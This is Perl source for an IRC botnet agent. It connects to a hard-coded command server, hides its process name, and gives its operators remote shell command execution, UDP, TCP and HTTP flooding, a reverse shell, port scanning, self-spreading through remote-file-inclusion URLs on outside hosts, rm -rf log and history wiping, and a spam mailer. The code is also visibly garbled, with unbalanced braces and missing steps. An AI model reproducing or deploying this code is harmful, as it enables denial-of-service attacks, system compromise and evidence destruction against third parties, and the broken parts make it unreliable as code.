use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
my @ps = ("/usr/sbin/httpd","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[revo]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
my $linas_max='10';
my $sleep='3';
my @adms=("cow_revo");
my @canais="#revo";
my @nickname = ("bot-",
"[bot-0]",
"[bot-00]",
"[bot-1]",
"[bot-11]",
"[bot-2]",
"[bot-22]",
"[bot-3]",
"[bot-33]",
"[bot-4]",
"[bot-44]",
"[bot-5]",
"[bot-55]",
"[bot-6]",
"[bot-66]",
"[bot-7]",
"[bot-77]",
"[bot-8]",
"[bot-88]",
"[bot-9]",
"[bot-99]",
"[bot-10]",
"[bot-12]",
"[bot-13]",
"[bot-14]",
"[bot-16]",
"[bot-15]",
"[bot-17]",
"[bot-18]",
"[bot-19]",
"[bot-21]",
"[bot-23]",
"[bot-24]",
"[bot-25]",
"[bot-26]",
"[bot-27]",
"[bot-28]",
"[bot-29]",
"[bot-30]",
"[bot-31]",
"[bot-32]",
"[bot-34]",
"[bot-45]",
"[bot-35]",
"[bot-36]",
"[bot-37]",
"[bot-38]",
"[bot-39]",
"[bot-40]",
"[bot-41]",
"[bot-51]",
"[bot-42]",
"[bot-43]",
"[bot-47]",
"[bot-48]",
"[bot-49]",
"[bot-98]",
"[bot-76]",
"[bot-64]",
"[bot-85]",
"[bot-92]",
"[bot-99]");
my @rname = (LOL);
$servidor='scanners.homelinux.net' unless $servidor;
my $porta='7000';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
###########
# Connect #
###########
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
PeerPort=>
$porta_con) or return(1);
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
}
}
my $line_temp;
while( 1 ) {
while (!
(keys(%irc_servers))) { conectar
("$nick",
"$servidor",
"$porta");
} my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
}
@lines =
split (/\n/,
$msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.17 Mic22\001");
}
if (grep {$_ =~ /^\Q
$pn\E$/i
} @adms ) { if ($onde eq "$meunick"){
shell("$pn", "$args");
}
##################
# End of Connect #
##################
######################
# PREFIX #
######################
if ($args =~ /^
(\Q
$meunick\E|\!so
)\
s+
(.*
)/
) { my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!so" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
######################
# End of PREFIX #
######################
elsif ($servarg =~ /^\:
(.+?
)\!
(.+?
)\@
(.+?
)\
s+NICK\
s+\:
(\S+
)/i
) { if (lc($
1) eq
lc($meunick)) { $meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~
m/^\:
(.+?
)\s
+433/i
) { } elsif ($servarg =~
m/^\:
(.+?
)\s
+001\
s+
(\S+
)\
s/i
) { $meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal ddosit");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
} else {
} else {
######################
# Help #
######################
if ($funcarg =~ /^help/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Lets Go!, Nih depe command :");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@ddos");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@scanscan");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@backconnect");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@shell");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscanner");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk command lain, ketik:");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 7@commands");
}
if ($funcarg =~ /^ddos/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Ada tiga command DDOS");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. UDPFlood, HTTPFlood and TCPFlood");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@udpflood <ip> <packet size> <time>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@tcpflood <ip> <port> <packet size> <time>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@httpflood <site> <time>");
}
if ($funcarg =~ /^backconnect/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Gunakan command ini untuk reverse shell :");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 7@back <ip><port>");
}
if ($funcarg =~ /^shell/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Command integrasi bot shell");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Bisa digunakan untuk privat maupun public channel");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk public chan gunakan : 12!so cd tmp12 (contoh)");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk command linux ketik :!so 7@linuxhelp");
}
if ($funcarg =~ /^portscanner/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Ini adalah command portscan dam Nmap:");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscan <ip>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@nmap <ip> <beginport> <endport>");
}
if ($funcarg =~ /^commands/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4.:!:.Help4.:!:. Ini commandnya :");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscan <ip>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@nmap <ip> <beginport> <endport>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@back <ip><port>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so cd tmp 4 untuk contoh");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@udpflood <ip> <packet size> <time>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@tcpflood <ip> <port> <packet size> <time>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@httpflood <site> <time>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@linuxhelp");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@spread <scan>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@scan <vuln> <dork>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@system");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@logcleaner");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@sendmail <subject> <sender> <recipient> <message>");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@milw0rm");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@join #channel");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@part #channel");
}
if ($funcarg =~ /^linuxhelp/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Dir where you are : pwd");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Start a Perl file : perl file.pl");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Go back from dir : cd ..");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Force to Remove a file/dir : rm -rf file/dir;ls -la");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Show all files/dir with permissions : ls -lia");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find config.inc.php files : find / -type f -name config.inc.php");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all writable folders and files : find / -perm -2 -ls");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all .htpasswd files : find / -type f -name .htpasswd");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all service.pwd files : find / -type f -name service.pwd");
}
######################
# End of Help #
######################
if ($funcarg =~ /^spread\
s+
(.*
)/
) { my $sbj = "http://munbaekcho.es.kr/gallery/data/log/logger.txt?";
$vuln = $1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Spreading bot on :14 $vuln");
my $shellurl="http://".$vuln.$sbj."?";
my $reqz=HTTP::Request->new(GET=>$shellurl);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Bot is Spreaded on :14 $vuln");
}
if ($funcarg =~ /^spreads\
s+
(.*
)/
) { my $soh = "http://www.traviswolff.com/gspreadz.txt?";
$vuln = $1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Spreading bot on :14 $vuln");
my $shellurl="http://".$vuln.$soh."?";
my $reqz=HTTP::Request->new(GET=>$shellurl);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Conficker Bot is Spreaded on :14 $vuln");
}
######################
# Commands #
######################
if ($funcarg =~ /^system/) {
$uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Info BOT : Server : 14Cannot View :14 1337");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Uname -a : 7 $uname");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Uptime : 7 $uptime");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Own Prosses : 7 $processo");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. ID : 7 $id");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Own Dir : 7 $ownd");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. OS : 7 $distro");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Owner : 7 Conficker[aKa]ikhy");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Channel : 7 autorun");
}
if ($funcarg =~ /^milw0rm/) {
my @ltt=();
my @bug=();
my $x;
my $page="";
my $socke = IO::
Socket::
INET->
new(PeerAddr=>
"milw0rm.com",PeerPort=>
"80",Proto=>
"tcp") or return;
print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$socke>;
$page="@r";
while ($page =~
m/
<title>(.*
)</g
){ $x = $1;
if ($x =~ /\<\;/) {
}
if ($x !~ /milw0rm/) {
}}
while ($page =~
m/<link.*expl.*
([0-9]...
)</g
) { if ($
1 !~
m/milw0rm.com|exploits|en/
){ push (@ltt,
"http://www.milw0rm.com/exploits/$1 ");
}}
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Milw0rm Bugs12.:!:. gak bekerja, coba kembali :");
foreach $x (0..(@ltt - 1)) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Milw0rm Bugs12.:!:.14 $bug[$x] -3 $ltt[$x]");
}}
######################
# Portscan #
######################
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my
@portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :(12.:!:.PortScan12.:!:.) 4Loading port scanner.. 12(wait a minute, ok !!) 12".$1." Starting now!! .");
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
'tcp', Timeout => 4);
if ($scansock) {
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.PortScan12.:!:. 6open ports :5 @aberta");
} else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.PortScan12.:!:. 6theres no open port");
}
}
######################
# End of Portscan #
######################
######################
# Nmap #
######################
if ($funcarg =~ /^nmap\
s+
(.*
)\
s+
(\d+
)\
s+
(\d+
)/
){ my $hostip="$1";
my $portstart = "$2";
my $portend = "$3";
my (@abertas, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. :4 $1 (7.:!:.Port7.:!:.) 12 $2-$3");
foreach my $porta ($portstart..$portend){
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
if ($scansock) {
$scansock->close;
if ($xstats){
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. Founded 4 $porta"."/Open");
}
}
}
if (@abertas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. Complete ");
} else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. No open ports have been founded 13");
}
}
######################
# End of Nmap #
######################
######################
# Log Cleaner #
######################
if ($funcarg =~ /^logcleaner/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner!!!12.:!:. it takes a couple of minutes...");
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4log files have been cleaned");
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4system log cleaner");
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4done! all log files have been cleaned");
}
######################
# End of Log Cleaner #
######################
###########################################################
# MAILER #
# For mailing use : #
# !lol @sendmail <subject> <sender> <recipient> <message> #
###########################################################
if ($funcarg =~ /^sendmail\
s+
(.*
)\
s+
(.*
)\
s+
(.*
)\
s+
(.*
)/
) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Mailer12.:!:. Try Sending Mail to :10 $3");
$subject = $1;
$sender = $2;
$recipient = $3;
@corpo = $4;
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
open (SENDMAIL,
"| $sendmail -t");
print SENDMAIL
"$mailtype\n";
print SENDMAIL
"Subject: $subject\n";
print SENDMAIL
"From: $sender\n";
print SENDMAIL
"To: $recipient\n\n";
print SENDMAIL
"@corpo\n\n";
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Mailer12.:!:. Successfully Sended to :10 $recipient");
}
######################
# End of MAILER #
######################
######################
# Join And Part #
######################
if ($funcarg =~ /^join (.*)/) {
sendraw($IRC_cur_socket, "JOIN ".$1);
}
if ($funcarg =~ /^part (.*)/) {
sendraw($IRC_cur_socket, "PART ".$1);
}
if($funcarg=~ /^\:$admin!.*\@.*PRIVMSG.*:!out/){
sendraw($IRC_cur_socket, "QUIT");
}
######################
#End of Join And Part#
######################
######################
# TCPFlood #
######################
if ($funcarg =~ /^tcpflood\
s+
(.*
)\
s+
(\d+
)\
s+
(\d+
)/
) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.TCP DDoS12.:!:. Haaajjjaaarrr 4 ".$1.":".$2." for 12 ".$3." seconds.");
my ($cur_time);
$cur_time =
time -
$itime;
while ($3>$cur_time){
$cur_time =
time -
$itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket,"PRIVMSG $printl :12.:!:.TCP DDoS12.:!:. Missi Selesai.. 12 ".$1.":".$2.".");
}
######################
# End of TCPFlood #
######################
######################
# Back Connect #
######################
if ($funcarg =~ /^back\
s+
(.*
)\
s+
(\d+
)/
) { my $host = "$1";
my $porta = "$2";
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM,
$proto) or die "socket: $!";
open(STDOUT,
">&SOCKET");
open(STDERR,
">&SOCKET");
if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.BackConnect12.:!:. Connecting to 4 $host:$porta");
}
}
######################
#End of Back Connect#
######################
######################
# HTTPFlood #
# #
######################
if ($funcarg =~ /^httpflood\
s+
(.*
)\
s+
(\d+
)/
) { sendraw($IRC_cur_socket, "PRIVMSG $printl :7.:!:.Http DDoS7.:!:. Haaajjjaaarrr 12 ".$1." on port 80 untuk 4 ".$2." Detik .");
my ($cur_time);
$cur_time =
time -
$itime;
while ($2>$cur_time){
$cur_time =
time -
$itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$
1.
"\r\nConnection: Keep-Alive\r\n\r\n";
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Http DDoS12:!:. Selesai menghajar 4 ".$1.".");
}
######################
# End of HTTPFlood #
# #
######################
######################
# UDPFlood #
# #
######################
if ($funcarg =~ /^udpflood\
s+
(.*
)\
s+
(\d+
)\
s+
(\d+
)/
) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Udp DDoS12.:!:. Haaajjjaaarrr12 ".$1." dengan 4 ".$2." Kb Packets untuk 4 ".$3." detik.");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw
($IRC_cur_socket,
"PRIVMSG $printl :12.:!:.Udp DDoS12.:!:. Results4 ".
int(($bytes{icmp
}+
$bytes{igmp
}+
$bytes{udp
} +
$bytes{o
})/
1024).
" Kb in12 ".
$dtime.
" seconds to12 ".$
1.
".");
}
}
}
######################
# End of Udpflood #
# #
######################
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\
s+
(.*
)/
) { my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
}
else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
op
("$1",
"$2") if ($oarg =~ /
(\S+
)\
s+
(\S+
)/
);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
deop
("$1",
"$2") if ($oarg =~ /
(\S+
)\
s+
(\S+
)/
);
}
if ($case =~ /^msg\
s+
(\S+
) (.*
)/
) { msg("$1", "$2");
}
if ($case =~ /^flood\
s+
(\d+
)\
s+
(\S+
) (.*
)/
) { for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\
s+
(\S+
) (.*
)/
) { ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\
s+
(\d+
)\
s+
(\S+
) (.*
)/
) { for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connect\
s+
(\S+
)\
s+
(\S+
)/
) { conectar("$2", "$1", 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
}
}
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg
("$printl",
"No such file or directory");
}
}
else {
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
}
}
}
}
}
sub tcpflooder {
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$j=0;$l=0;
$cur_time =
time -
$itime;
while ($l<1000){
$cur_time =
time -
$itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,
$proto);
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time =
time -
$itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
$l++;
}
}
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW,
2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM,
17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW,
1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW,
6) or $cp++;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1;
$porta <= 65000; $porta++) {
$cur_time =
time -
$itime;
last if $cur_time >= $ftime;
send(SOCK1,
$msg,
0, sockaddr_in
($porta,
$iaddr)) and $pacotes{igmp
}++;
send(SOCK2,
$msg,
0, sockaddr_in
($porta,
$iaddr)) and $pacotes{udp
}++;
send(SOCK3,
$msg,
0, sockaddr_in
($porta,
$iaddr)) and $pacotes{icmp
}++;
send(SOCK4,
$msg,
0, sockaddr_in
($porta,
$iaddr)) and $pacotes{tcp
}++;
for (my $pc = 3;
$pc <= 255;$pc++) {
next if $pc == 6;
$cur_time =
time -
$itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW,
$pc) or next;
send(SOCK5,
$msg,
0, sockaddr_in
($porta,
$iaddr)) and $pacotes{o
}++;
}
}
last if $cur_time >= $ftime;
}
}
sub ctcp {
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
sendraw("MODE $_[0] -o $_[1]");
}
sub j {
&join(@_);
}
sendraw("JOIN $_[0]");
}
sub p { part(@_);
}
sub part {
sendraw("PART $_[0]");
}
sub nick {
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT $_[0]");
}
}
#ionlyknownothing#